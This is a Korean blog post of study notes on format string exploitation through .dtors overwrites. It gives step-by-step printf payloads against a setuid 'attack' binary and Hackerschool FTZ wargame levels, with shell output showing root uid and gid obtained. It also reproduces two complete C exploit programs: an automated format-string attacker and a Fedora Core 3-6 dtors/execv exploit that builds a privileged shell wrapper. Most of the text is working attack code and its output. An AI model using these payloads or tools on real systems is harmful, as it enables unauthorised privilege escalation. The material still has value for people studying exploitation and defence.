본문으로 바로가기
기초만 -_-; 우선 적어둠

1. 기본적인 방법.

공부한 글 : .dtors를 이용한 Format string 자동화툴 설계

먼저 egg 를 뛰워 두었다.

dual5651@dualpage:/tmp$ ~/egg
Using address: 0xbffffac8
dual5651@dualpage:/tmp$

0xbffffac8 라는 주소에 떳다.

대상 프로그램은 다음과 같다.

dual5651@dualpage:/tmp$ ls -al
ÇÕ°è 28
drwxrwxrwt   4 root root  4096 2007-02-24 04:18 .
drwxr-xr-x  21 root root  4096 2007-01-24 08:37 ..
drwxrwxrwt   2 root root  4096 2007-02-24 02:41 .ICE-unix
drwxrwxrwt   2 root root  4096 2007-02-24 02:42 .X11-unix
srw-rw-rw-   1 root root     0 2007-02-24 02:42 .gdm_socket
-rwsr-sr-x   1 root root 11655 2007-02-24 04:18 attack

setuid가 걸려 있기 떄문에,
해당 프로그램에서 공격을 시도하면 root의 권한을 획득할 수 있다. :)

문자열과 포맷문자열을 입력하여 거리를 계산해 보았다.

dual5651@dualpage:/tmp$ ./attack
ABCD %x %x %x %x
ABCD 4f 4014f1c0 401558c0 44434241
dual5651@dualpage:/tmp$

3개의 값을 지나고 나서, 우리가 입력한 값인 ABCD가 나오는 것을 볼 수 있다.

이제 dtors의 주소를 알아보자.

dual5651@dualpage:/tmp$ objdump -h ./attack | grep dtors
18 .dtors        00000008  08049664  08049664  00000664  2**2
dual5651@dualpage:/tmp$

클린업 함수의 주소는 저 주소 + 4에 있음으로, 0x8049668부터 덮어 쓰면 될 것이다.
이제 사용할 코드를 구성해 보자.

printf를 이용하여 코드를 취약점이 있는 프로그램에 전달할 것이다.

(printf "";cat)|./attack
위가 먼저 기본 형태이다.

(printf "AAAA\x68\x96\x04\x08BBBB\x6A\x96\x04\x08";cat)|./attack
이제 dtors 주소를 두부분으로 나누어 구성하여 주었고,
입력했던 값이 나올때까지 3개의 다른값이 있었음으로,

(printf "AAAA\x68\x96\x04\x08BBBB\x6A\x96\x04\x08%%8x%%8x%%8x";cat)
|./attack
위와 같이 쓸데없는 값을 출력해 주도록 하였다.
이렇게 하면 총 출력되는 값은

AAAA - 4byte +
\x68\x96\x04\x08 - 4byte +
BBBB - 4byte +
\x6A\x96\x04\x08 - 4byte +
%%8x %%8x %%8x - 8byte * 3
= 16 + 24
= 40이 된다.

egg의 주소로 사용될 주소가 0xbffffac8였는데,
0x1bfff에서 0xfac8에서 뺴주면, 50487(0xC537)이 된다.
0xfac8에서는 40(0x28)을 뺴주면 되는데,
그렇게 하면 64160(0xFAA0)이 된다.

(printf "AAAA\x68\x96\x04\x08BBBB\x6A\x96\x04\x08%%8x%%8x%%8x%%64160c%%n%%50487c%%n"
;cat)|./attack

이제 dtors에 넣을값도 정해 주었고, %n도 넣어주었다.
이제 실제로 어떻게 되는지 살펴보기만 하면 된다.

dual5651@dualpage:/tmp$ (printf "AAAA\x68\x96\x04\x08BBBB\x6A\x96\x04\x08%%8x%%8x%%8x%%64160c%%n%%50487c%%n";cat)|./attack

~~중략~~

id -a
uid=0(root) gid=1000(dual5651) egid=0(root) groups=1000(dual5651),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev)

newgrp
id -a
uid=0(root) gid=0(root) groups=1000(dual5651),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),0(root)

먼저 공격에 성공하여 root의 uid를 획득하였다.
하지만 gid는 root가 아닌것을 볼 수 있는데,
이떄 newgrp명령어를 실행시키어 주면, root의 gid도 획득할 수 있다.


2. %hn을 이용하는 방법

%hn을 이용하면 높은 주소 먼저 값을 넣을 수 있다.

(printf "AAAA\x6A\x96\x04\x08BBBB\x68\x96\x04\x08%%8x%%8x%%8x"; cat)|./attack

주소의 앞뒤가 바뀌었다는 것을 제외하면, 기존의 방법과 동일하다.
넣는 순서가 달라졌으니, 뒷부분에 넣는 egg까지의 값계산법은 달라진다.

현재 egg의 주소는 0xbffffac8이다.
이를 두 부분으로 나우어 0xbfff 0xfac8로 나눌 수 있다.

0xbfff에서는 다음과 같은 값을 빼주면 된다.
AAAA - 4byte +
\x6A\x96\x04\x08 - 4byte +
BBBB - 4byte +
\x68\x96\x04\x08 - 4byte +
%%8x %%8x %%8x - 8byte * 3
= 16 + 24
= 40
49151(0xbfff) - 40 = 49111이 된다.

0xfac8에서는 0xbfff을 뺴주면 된다.
0xfac8 - 0xbfff = 15049(0x3AC9)이 된다.

이를 가지고 스트링을 완성하여 보면,

(printf "AAAA\x6A\x96\x04\x08BBBB\x68\x96\x04\x08%%8x%%8x%%8x%%49111c%%hn%%15049c%%hn
"; cat)|./attack

이제 실제로 어떻게 되는지 살펴 보면 된다.

dual5651@dualpage:/tmp$ (printf "AAAA\x6A\x96\x04\x08BBBB\x68\x96\x04\x08%%8x%%8x%%8x%%49111c%%hn%%15049c%%hn"; cat)|./attack

id -a
uid=0(root) gid=1000(dual5651) egid=0(root) groups=1000(dual5651),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev)
newgrp
id -a
uid=0(root) gid=0(root) groups=1000(dual5651),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),0(root)



3. $flag를 이용하는 방법

공부한 글 : http://x82.inetcop.org/h0me/papers/$-flag-formatstring.txt

(printf "AAAA\x68\x96\x04\x08BBBB\x6A\x96\x04\x08"; cat)|./attack

먼저 윗부분 까지는 기본방법과 동일하다.
하지만 뒷부분이 다르다.

%%4\$64184x %%5\$n %%6\$50487x %%7\$n
위와 같은 스트링을 뒷부분에 넣어주게 된다.
(현재 테스트 하는 상황은 기존과 같다.)

3번째 까지는 쓰레기값들이 들어있음으로, 4번째 부터 값을 집어넣을 주소가 존재한다.
먼저 집어넣을 값(egg의 주소)을 구성하기 위해 특정한 크기만큼 출력해 주어야 한다.

현재 egg의 주소는 0xbffffac8이다.
0xfac8에서 빼주어야 할 값은
AAAA - 4byte +
\x68\x96\x04\x08 - 4byte +
BBBB - 4byte +
\x6A\x96\x04\x08 - 4byte
= 16
그리고 pad값 1이다.
64200(0xfac8) - 16 - 1 = 64183이 된다.

앞부분은 기존과 동일하게
0x1bfff에서 0xfac8을 뺴주면 된다.
0x1bfff - 0xfac8 = 50487(0xC537)

공격에 사용될 스트링은 다음이 된다.

(printf "AAAA\x68\x96\x04\x08BBBB\x6A\x96\x04\x08%%4\$64184x%%5\$n%%6\$50487x%%7\$n"; cat)|./attack

이제 실제로 어떻게 되는지 살펴 보면 된다.

dual5651@dualpage:/tmp$ (printf "AAAA\x68\x96\x04\x08BBBB\x6A\x96\x04\x08%%4\$64184x%%5\$n%%6\$50487x%%7\$n"; cat)|./attack


id -a
uid=0(root) gid=1000(dual5651) egid=0(root) groups=1000(dual5651),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev)
newgrp
id -a
uid=0(root) gid=0(root) groups=1000(dual5651),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),0(root)


4. __dtors_end__를 execl주소로 덮어쓰는 방법

공부한 글 : http://beist.org/research/public/fedora/index.html

어떤 문서에서 이 방법이 fedora core3까지 됬다고 하는데,
잘못된 말인 듯 하다. (3가 아니라 2까지 되는 걸로 알고 있지만 확신은 못하겠다.)
(어쨰든 본인이 core3에서 테스트 해봤을떄는 $ebp+8은 0이었다.)

해커스쿨 레벨20번을 예를 들어서 사용해 보겠다.

[level20@ftz tmp]$ ../attackme
AAAA %x %x %x %x
AAAA 4f 40157460 4009d500 41414141

[level20@ftz tmp]$ objdump -h ../attackme | grep dtors
18 .dtors        00000008  08049594  08049594  00000594  2**2

[level20@ftz tmp]$ gdb ../attackme
(gdb) b main
Breakpoint 1 at 0x80483be
(gdb) r
Starting program: /home/level20/attackme
Breakpoint 1, 0x080483be in main ()
(gdb) p execl
$1 = {<text variable, no debug info>} 0x400d16c0 <execl>
(gdb)

__dtors_end__ -> 0x8049598
&execl+3 -> 0x400d16c3

0x400d - 0x16c3 = 10570(0x294a)
0x16c3 - 40 = 5787(0x169b)

이 정보를 가지고, 공격 스트링을 만들면 다음과 같다.


(printf "AAAA\x98\x95\x04\x08BBBB\x9a\x95\x04\x08%%8x%%8x%%8x%%5787c%%n%%10570c%%n";cat)|../attackme

ln -s  s `perl -e 'print "\x04"'`
cat > s.c
#include <stdio.h>
int main(int argc,char *argv[])
{
  system("/bin/sh");
}


[level20@ftz tmp]$ ls -al
합계 24
lrwxrwxrwx    1 level20  level20         1  2월 25 11:40 ? -> s
drwxrwxr-x    2 root     level20      4096  2월 25 11:40 .
drwxr-xr-x    4 root     level20      4096  1월 17 16:01 ..
-rwxrwxr-x    1 level20  level20     11530  2월 25 11:40 s
-rw-rw-r--    1 level20  level20        76  2월 25 11:40 s.c
[level20@ftz tmp]$ (printf "AAAA\x98\x95\x04\x08BBBB\x9a\x95\x04\x08%%8x%%8x%%8
x%%5787c%%n%%10570c%%n";cat)|../attackme

id -a
uid=3101(clear) gid=3100(level20) groups=3100(level20)



5. 자동화 공격 도구를 이용하는 방법.


Null@Root 의 amadoh4ck님이 작성하신 dtors를 이용한 자동화 공격 도구를
조금 수정해 보았다. 기존의 코드는 EGG의 이름으로 AMADOH4CK를 사용하고
있었는데, 일반적으로 많이 쓰는 이름인 EGG로 수정하였고,
DTORS를 objdump를 사용하지 않고 직접 구하는 indra님의 코드를 적용하였다.
sflag의 값을 구하는 x82님의 코드를 적용하였다.

/* made by amadoh4ck in Null@Root */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <elf.h>
int sflag=0;
int type = 0;
char *GetSect(int fd, Elf32_Shdr *shdr)
{
      char    *str;
      off_t   ptr;
      while((str = calloc(1, shdr->sh_size)) == NULL)
      ptr = lseek(fd, 0, SEEK_CUR);
      lseek(fd, shdr->sh_offset, SEEK_SET);
      if(read(fd, str, shdr->sh_size) != shdr->sh_size) {
              printf("[-] read error.\n");
              exit(-1);
      }
      lseek(fd, ptr, SEEK_SET);
      return str;
}
unsigned long get_dtors(const char *filename)
{
     int fd, i;
     char *buf;
     off_t offset;
     Elf32_Ehdr ehdr;
     Elf32_Shdr shdr;
     //struct stat tg_st;
     printf("[+] Target program : %s\n",filename);
     if((fd = open(filename, O_RDONLY)) < 0) {
             printf("[-] Target open error.\n");
             exit(-1);
     }    
  /*  #define CHK_BIT(m,S) (((m)&S)==S)
   
     if(CHK_BIT(tg_st.st_mode,S_ISUID) || CHK_BIT(tg_st.st_mode,S_IGUID))
     {
        printf("[+] SetUID or SetGID Permission.\n");
     }
     else
     {
        printf("[-] No SetUID or SetGID Permission.\n");
     }*/
      if((int)read(fd, &ehdr, sizeof(ehdr)) != sizeof(ehdr)) {
              printf("[-]file header read error. \n");
              exit(-1);
      }
      if(ehdr.e_type != ET_EXEC) {
              printf("[-] Target is not execute file.\n");
              exit(-1);
      }
      offset = ehdr.e_shstrndx * ehdr.e_shentsize + ehdr.e_shoff;
      lseek(fd, offset, SEEK_SET);
      read(fd, &shdr, sizeof(shdr));
      buf = GetSect(fd, &shdr);
      lseek(fd, ehdr.e_shoff, SEEK_SET);
      for(i = 0; i < ehdr.e_shnum; i++) {
              read(fd, &shdr, sizeof(shdr));
              if(strcmp(buf + shdr.sh_name, ".dtors") == 0) {
                      printf("[+] .dtors section start : 0x%x\n", shdr.sh_addr);
  return shdr.sh_addr;
                      break;
              }
      }
      free(buf);
      close(fd);
}
int contain0(long value)
{
  return !((value & 0x00ffffff) && (value & 0xff00ffff) &&
         (value & 0xffff00ff) && (value & 0xffffff00));
}
unsigned long get_eggaddr(char **env)
{
  int i;
  char *tmp_ptr;
  for (i=0; env[i]; i++) {
  if ((tmp_ptr = strstr(env[i], "EGG="))) {
    tmp_ptr += 10;
    return ((unsigned long)tmp_ptr);
  }
  }
  printf("[-] You must run it on eggshell(EGG=).\n");
  exit(-1);
}

int find_sflag_poc(char *p)
{
int i;
char buf[256];
FILE *fp;
printf("[+] find sflag number.\n");
for(i=0;i<200;i++)
{
memset(buf,0,sizeof(buf));
               if(!type)
               {
  sprintf(buf,"%s AAAA.%%%d\\$x",p,i);
  if((fp=popen(buf,"r"))==NULL)
  {
  printf(" [-] %s execute error\n",p);
  return -1;
  }
               }
               else
               {
                 sprintf(buf,"echo \"AAAA.%%%d\\$x\"|%s",i,p);
                 //printf("%s\n",buf);
  if((fp=popen(buf,"r"))==NULL)
  {
  printf(" [-] %s execute error\n",p);
  return -1;
  }
               }
               memset(buf,0,sizeof(buf));
fgets(buf,sizeof(buf)-1,fp);
pclose(fp);
if(strstr(buf,"AAAA.41414141"))
{
  sflag=i;
  //printf(" [*] sflag: %d\n",sflag);
  return 0;
}
}
return -1;
}
int main(int argc, char **argv, char **environ)
{
  unsigned long dtors;
  unsigned long shelladdr;
  unsigned int  high, low, temp;
  int i, num, align=0, change=0;
  char format[2048], *ptr, tmpstr[100];
  printf("\n%s - Automatic FSB attacker\n\n",argv[0]); 
  if (argc < 3) {
  printf("Usage: %s <filename> <type> [align]\n",argv[0]);
  printf("Type 0 : input from argv[1]\n");
  printf("Type 1 : input from gets()\n");
  printf("ex1> %s ./vul 0 0\n",argv[0]);
  printf("ex2> %s ./vul 1 0\n",argv[0]);
  exit(0);
  }
  dtors = get_dtors(argv[1]) + 6;
  shelladdr = get_eggaddr(environ) + 40;
  if (contain0(shelladdr)) shelladdr += 4;
  type = atoi(argv[2]);
  if(find_sflag_poc(argv[1]) == -1)
  printf("[-] get sflag error.\n");
  num = sflag - 1;
  //num = atoi(argv[3]);
  if (argv[3]) align = atoi(argv[3]);
  printf("[+] __DTORS_END__ : 0x%lx\n", dtors-2);
  printf("[+] Address of EGG : 0x%lx\n", shelladdr);
  printf("[+] Number of garage : %d\n", num);
  printf("[+] Using alignment : %d\n", align);
  high = shelladdr & 0xffff;
  low  = (shelladdr & 0xffff0000) >> 16;
  high -= (num*8 + 16 + align);
  low  -= (num*8 + 16 + align);
  if (high < low) {
  temp = low;
  low  = high;
  high = temp;
  dtors -= 2;
  change = 1;
  }
  ptr = format;
  if (type == 0) {
  snprintf(tmpstr, 100, "perl -e 'system \"%s\", \"", argv[1]);
  memcpy(ptr, tmpstr, strlen(tmpstr));
  ptr += strlen(tmpstr);
  } else {
  memcpy(ptr, "(printf \"", 9);
  ptr += 9;
  }
  memset(ptr, '\x90', align);
  ptr += align;
  for (i=0; i<2; i++) {
  if (contain0(dtors)) {
    printf("[-] .dtors contains a zero byte. Use ret_addr\n");
    exit(1);
  }
  memset(ptr, 'A', 4);
  ptr += 4;
  sprintf(ptr, "\\x%02x\\x%02x\\x%02x\\x%02x", dtors & 0xff, \
  (dtors>>8)&0xff, (dtors>>16)&0xff, (dtors>>24)&0xff);
  ptr += strlen(ptr);
  if (change) dtors += 2;
  else dtors -= 2;
  }
  for (i=0; i<num; i++) {
  if (type == 0) {
    memcpy(ptr, "%8x", 3);
    ptr += 3;
  } else {
    memcpy(ptr, "%%8x", 4);
    ptr += 4;
  }
  }
  if (type == 0) {
  sprintf(ptr, "%%%uc%%hn%%%uc%%hn\"'", low, high-low);
  }
  else {
  sprintf(ptr, "%%%%%uc%%%%hn%%%%%uc%%%%hn\"; cat) | %s", \
  low, high-low, argv[1]);
  }
  printf("[+] Using payload : %s\n", format);
  printf("[+] Please any key to start...\n");
  getchar();
  system(format);
}



다음과 같이 사용할 수 있다.

1. EGG를 뛰운다.
[level20@ftz tmp]$ ./egg
Using address: 0xbffffab8


2. 공격 프로그램을 사용한다.

Type 0 :
[level11@ftz tmp]$ ./test ../attackme 0
./test - Automatic FSB attacker
[+] Target program : ../attackme
[+] .dtors section start : 0x804960c
[+] find sflag number.
[+] __DTORS_END__ : 0x8049610
[+] Address of EGG : 0xbffff3ed
[+] Number of garage : 3
[+] Using alignment : 0
[+] Using payload : perl -e 'system "../attackme", "AAAA\x12\x96\x04\x08AAAA\x10
\x96\x04\x08%8x%8x%8x%49111c%hn%13294c%hn"'
[+] Please any key to start...

sh-2.05b$ id -a
uid=3092(level12) gid=3091(level11) groups=3091(level11)
sh-2.05b$


Type 1 :
[level20@ftz tmp]$ ./test
./test - Automatic FSB attacker
Usage: ./test <filename> <type> [align]
Type 0 : input from argv[1]
Type 1 : input from gets()
ex> ./test ./vul 1 4 0

[level20@ftz tmp]$ ./test ../attackme 1
./test - Automatic FSB attacker
[+] Target program : ../attackme
[+] .dtors section start : 0x8049594
[+] find sflag number.
[+] __DTORS_END__ : 0x8049598
[+] Address of EGG : 0xbffff3ed
[+] Number of garage : 3
[+] Using alignment : 0
[+] Using payload : (printf "AAAA\x9a\x95\x04\x08AAAA\x98\x95\x04\x08%%8x%%8x%%8
x%%49111c%%hn%%13294c%%hn"; cat) | ../attackme
[+] Please any key to start...


id -a
uid=3101(clear) gid=3100(level20) groups=3100(level20)

6. Fedora 3,4,5,6

/*
**
** Code name: 0x82-dtors_execv_ex.c
** Description: Fedora Core Linux 6 based format string exploit (POC-local)
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.inetcop.org
**
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>

/* global */
int sflag=0;
int type=3;

unsigned long __dtors_end__=0;
unsigned long call_edx_next=0;
unsigned long __do_global_dtors_aux_addr=0;
unsigned char __do_global_dtors_aux_ret_code[256];

struct os_t {
	int num;
	char *os;
	int overwrite_type;
	unsigned long execv_addr;
};

struct os_t plat[]={
	{
		0,"Fedora Core release 3 (Heidelberg)",8,0xf6f415d0
		/* It's bad ! */
	},
	{
		1,"Fedora Core release 4 (Stentz)",8,0x7a22d4
	},
	{
		2,"Fedora Core release 5 (Bordeaux)",12,0xc3541c
	},
	{
		3,"Fedora Core release 6 (Zod)",12,0x19dd60
	},
	{
		4,NULL,0,0x0
	}
};

unsigned long execv_addr=0;

void banrl()
{
	fprintf(stdout,"\n Fedora Core Linux 6 based format string exploit (POC-local)\n\n");
}

void sig_exit()
{
	printf(" [-] exploit end.\n\n");
	exit(-1);
}

void end_exploit()
{
	printf(" [-] exploit failed.\n\n");
	exit(-1);
}

int make_shell()
{
	FILE *fp;
	if((fp=fopen("sh.c","w"))==NULL)
	{
		fprintf(stderr," [-] shell make failed.\n");
		exit(-1);
	}

	fprintf(fp,
		"#include <stdio.h>\n"
		"int main(){\n"
		"	unlink(\"sh\");\n"
		"	unlink(\"sh.c\");\n"
		"	unlink(\"%s\");\n"
		"	setuid(geteuid());\n"
		"	setgid(getegid());\n"
		"	setreuid(geteuid(),geteuid());\n"
		"	setregid(getegid(),getegid());\n"
		"	execl(\"/bin/sh\",\"sh\",0);\n"
		"}\n",__do_global_dtors_aux_ret_code);
	fclose(fp);
	system("gcc -o sh sh.c 2>/dev/null 1>/dev/null >/dev/null");
	symlink("sh",__do_global_dtors_aux_ret_code);

	return 0;
}

int main(int argc,char *argv[])
{
	FILE *fp;
	int ret=0;

	(void)banrl();
	if(argc<2)
	{
		fprintf(stdout," Usage: %s [target program] [os type num]\n"
				" example> %s ./vuln 3 (default)\n\n"
				" type num> 0: FC3.\n"
				"           1: FC4.\n"
				"           2: FC5.\n"
				"           3: FC6. (default)\n\n",argv[0],argv[0]);
		exit(-1);
	}
	if(argc==3)
	{
		type=atoi(argv[2]);
	}
	execv_addr=plat[type].execv_addr;
	printf(" [+] execv address: %p\n",execv_addr);

	signal(SIGINT,sig_exit);
	signal(SIGTSTP,sig_exit);

	if((ret=find_sflag_poc(argv[1]))==-1)
	{
		end_exploit();
	}
	if((ret=find_addr(argv[1]))==-1)
	{
		end_exploit();
	}
	if((ret=find_execute_command(argv[1]))==-1)
	{
		end_exploit();
	}

	(int)make_shell();

#define PATH ".:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin:"
	setenv("PATH",PATH,strlen(PATH));
	
	while(1)
	{
		do_exploit(argv[1]);

		/* exploit success check */
		if((fp=fopen("sh","r"))==NULL)
		{
			fprintf(stdout," [*] exploit successfully.\n\n");
			exit(-1);
		}
		else fclose(fp);
	}
	return 0;
}

int do_exploit(char *p)
{
	int i=0;
	int j=0;
	int pid=0;

	int t_sflag=sflag;
	int __do_global_dtors_aux_head=0;
	int __do_global_dtors_aux_tail=0;
	int call_edx_next_head=0;
	int call_edx_next_tail=0;
	int execv_head=0;
	int execv_tail=0;

	unsigned char buf[1024];
	unsigned char fmt[512];

	memset(buf,0,sizeof(buf));
	memset(fmt,0,sizeof(fmt));

	__do_global_dtors_aux_head=(__do_global_dtors_aux_addr>>16)&0xffff;
	__do_global_dtors_aux_tail=(__do_global_dtors_aux_addr>>0)&0xffff;

	call_edx_next_head=(call_edx_next>>16)&0xffff;
	call_edx_next_tail=(call_edx_next>>0)&0xffff;

	execv_head=(execv_addr>>16)&0xffff;
	execv_tail=(execv_addr>>0)&0xffff;


	// make retloc

	*(long *)&buf[i]=__dtors_end__+0; /* __do_global_dtors_aux() */
	i+=4;
	*(long *)&buf[i]=__dtors_end__+2;
	i+=4;

	*(long *)&buf[i]=__dtors_end__+4; /* __do_global_dtors_aux()+27 */
	i+=4;
	*(long *)&buf[i]=__dtors_end__+6;
	i+=4;

	*(long *)&buf[i]=__dtors_end__+8; /* execv() */
	i+=4;
	*(long *)&buf[i]=__dtors_end__+10;
	i+=4;

	// make format string

	if(plat[type].overwrite_type==8)
	{
		/* __do_global_dtors_aux()+27 */
		sprintf(fmt+strlen(fmt),"%%%ux%%%d$n%%%ux%%%d$n",
			call_edx_next_tail-strlen(buf),
			t_sflag+0,
			(0x10000+call_edx_next_head)-call_edx_next_tail,
			t_sflag+1);
		t_sflag+=2;
	}
	else if(plat[type].overwrite_type==12)
	{
		/* __do_global_dtors_aux() */
		sprintf(fmt,"%%%ux%%%d$n%%%ux%%%d$n",
			__do_global_dtors_aux_tail-strlen(buf),
			t_sflag+0,
			(0x10000+__do_global_dtors_aux_head)-__do_global_dtors_aux_tail,
			t_sflag+1);
		t_sflag+=2;

		/* __do_global_dtors_aux()+27 */
		sprintf(fmt+strlen(fmt),"%%%ux%%%d$n%%%ux%%%d$n",
			call_edx_next_tail-__do_global_dtors_aux_head,
			t_sflag+0,
			(0x10000+call_edx_next_head)-call_edx_next_tail,
			t_sflag+1);
		t_sflag+=2;
	}

	/* execv() */
	sprintf(fmt+strlen(fmt),"%%%ux%%%d$n%%%ux%%%d$n",
		execv_tail-call_edx_next_head,
		t_sflag+0,
		(0x10000+execv_head)-execv_tail,
		t_sflag+1);
	t_sflag+=2;

	strcat(buf,fmt);

	if((pid=fork())==0)
	{
		execl(p,p,buf,0);
	}
	wait(&pid);

	return 0;
}

int find_addr(char *p)
{
	char buf[256];
	FILE *fp;

	memset(buf,0,sizeof(buf));
	sprintf(buf,"echo -n '0x'; "
		"objdump -d %s | "
		"grep \"__do_global_dtors_aux>:\" | "
		"awk -F\" \" {'print $1'}",p);
	if((fp=popen(buf,"r"))==NULL)
	{
		printf(" [-] __do_global_dtors_aux address error\n");
		return -1;
	}
	memset(buf,0,sizeof(buf));
	fgets(buf,sizeof(buf)-1,fp);
	pclose(fp);
	__do_global_dtors_aux_addr=strtoul(buf,0,0);

	memset(buf,0,sizeof(buf));
	sprintf(buf,"echo -n '0x'; "
		"objdump -d %s | "
		"grep -A 1 \"*%%edx\" | "
		"tail -1 | awk -F\" \" {'print $1'}",p);
	if((fp=popen(buf,"r"))==NULL)
	{
		printf(" [-] call *%edx next address error\n");
		return -1;
	}
	memset(buf,0,sizeof(buf));
	fgets(buf,sizeof(buf)-1,fp);
	pclose(fp);
	call_edx_next=strtoul(buf,0,0);

	memset(buf,0,sizeof(buf));
	sprintf(buf,"echo -n '0x'; "
		"objdump -h %s | grep .dtors | "
		"awk -F\" \" {'print $4'}",p);
	if((fp=popen(buf,"r"))==NULL)
	{
		printf(" [-] __dtors_end__ section error\n");
		return -1;
	}
	memset(buf,0,sizeof(buf));
	fgets(buf,sizeof(buf)-1,fp);
	pclose(fp);
	__dtors_end__=strtoul(buf,0,0);
	__dtors_end__+=0x4;

	printf(" [*] __do_global_dtors_aux(): %p\n"
		" [*] __do_global_dtors_aux()+27: %p\n"
		" [*] __dtors_end__ section: %p\n",
		__do_global_dtors_aux_addr,call_edx_next,__dtors_end__);

	return 0;
}

int find_sflag_poc(char *p)
{
	int i;
	char buf[256];
	FILE *fp;

	printf(" [+] find sflag number.\n");
	for(i=0;i<200;i++)
	{
		memset(buf,0,sizeof(buf));
		sprintf(buf,"%s AAAA.%%%d\\$x",p,i);
		if((fp=popen(buf,"r"))==NULL)
		{
			printf(" [-] %s execute error\n",p);
			return -1;
		}
		memset(buf,0,sizeof(buf));
		fgets(buf,sizeof(buf)-1,fp);
		pclose(fp);
		if(strstr(buf,"AAAA.41414141"))
		{
			sflag=i;
			printf(" [*] sflag: %d\n",sflag);
			return 0;
		}
	}
	return -1;
}

int find_execute_command(char *p)
{
	unsigned char buf[256];
	unsigned char code[16];
	FILE *fp;
	int j,z;

	memset((char *)code,0,sizeof(code));
	memset((char *)buf,0,sizeof(buf));

	sprintf(buf,"objdump -d %s | "
			"grep *%%edx -A 30 | "
			"grep \\$0x0,%%eax -B 16 | "
			"awk -F\"\\t\" {'print $2'} | "
			"awk -F\"  \" {'print $1'}",p);

	if((fp=popen(buf,"r"))==NULL)
	{
		printf("error\n");
		exit(-1);
	}

	j=z=0;
	memset((char *)buf,0,sizeof(buf));
	while(fgets(buf,sizeof(buf)-1,fp))
	{
		for(j=0;j<strlen(buf);j++)
		{
			if(buf[j]==0x20)
			{
				continue;
			}
			else if(buf[j]==0x0a||buf[j]==0x00)
			{
				break;
			}
			else {
				memset((char *)code,0,sizeof(code));
				sprintf(code,"0x%c%c",buf[j+0],buf[j+1]);
				j+=2;
				if(strtoul(code,0,0)==0x00)
				{
					break;
				}
				__do_global_dtors_aux_ret_code[z++]=strtoul(code,0,0);
			}
		}
	}
	pclose(fp);
}

/* eoc */



물론 이해는못합니다






다른 사람들이 많이 읽은 글

'Security > System' 카테고리의 다른 글

Stack, Prologue, Leave, Ret  (0) 2014.05.13
각 영역별 정리  (0) 2014.05.05
Flag  (0) 2014.05.04
BOF 기초  (2) 2014.04.12
솔라리스10 텔넷취약점  (0) 2009.03.16
Format string bug - 기법만 간략하게정리  (0) 2007.03.13

댓글을 달아 주세요